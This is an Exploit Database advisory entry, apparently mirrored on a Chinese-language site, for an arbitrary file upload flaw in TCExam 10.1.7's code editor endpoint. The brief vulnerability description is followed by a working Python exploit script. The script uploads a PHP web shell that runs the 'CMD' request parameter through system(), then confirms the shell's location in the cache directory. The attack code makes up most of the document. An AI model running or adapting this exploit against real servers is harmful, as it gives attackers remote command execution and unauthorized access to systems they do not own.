TCExam 10.1.7 – ‘/admin/code/tce_functions_tcecode_editor.php’ Arbitrary File Upload

• Exploit Database
• 11 阅读

• 作者： John Leitch
  日期： 2010-06-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/34073/

• source: https://www.securityfocus.com/bid/40511/info
  
  TCExam is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.
  
  An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.
  
  TCExam 10.1.007 is vulnerable; other versions may also be affected. 
  
  import sys, socket
  host = 'localhost'
  tc_exam = 'http://' + host + '/TCExam'
  port = 80
  
  def upload_shell():
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((host, port))
  s.settimeout(8)
  
  content = '------x\r\n'\
  'Content-Disposition: form-data; name="sendfile0"\r\n'\
  '\r\n'\
  'shell.php\r\n'\
  '------x\r\n'\
  'Content-Disposition: form-data; name="userfile0"; filename="shell.php"\r\n'\
  'Content-Type: application/octet-stream\r\n'\
  '\r\n'\
  '<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
  '------x--\r\n'\
  '\r\n'
  
  header = 'POST ' + tc_exam + '/admin/code/tce_functions_tcecode_editor.php HTTP/1.1\r\n'\
   'Host: ' + host + '\r\n'\
   'Proxy-Connection: keep-alive\r\n'\
   'User-Agent: x\r\n'\
   'Content-Length: ' + str(len(content)) + '\r\n'\
   'Cache-Control: max-age=0\r\n'\
   'Origin: null\r\n'\
   'Content-Type: multipart/form-data; boundary=----x\r\n'\
   'Accept: text/html\r\n'\
   'Accept-Encoding: gzip,deflate,sdch\r\n'\
   'Accept-Language: en-US,en;q=0.8\r\n'\
   'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
   'Cookie: LastVisit=1275442604\r\n'\
   '\r\n'
  
  s.send(header + content)
  
  http_ok = 'HTTP/1.1 200 OK'
  
  if http_ok not in s.recv(8192):
  print 'error uploading shell'
  return
  else: print 'shell uploaded'
  
  s.send('GET ' + tc_exam + '/cache/shell.php HTTP/1.1\r\n'\
   'Host: ' + host + '\r\n\r\n')
  
  if http_ok not in s.recv(8192): print 'shell not found'
  else: print 'shell located at ' + tc_exam + '/cache/shell.php'
  
  upload_shell()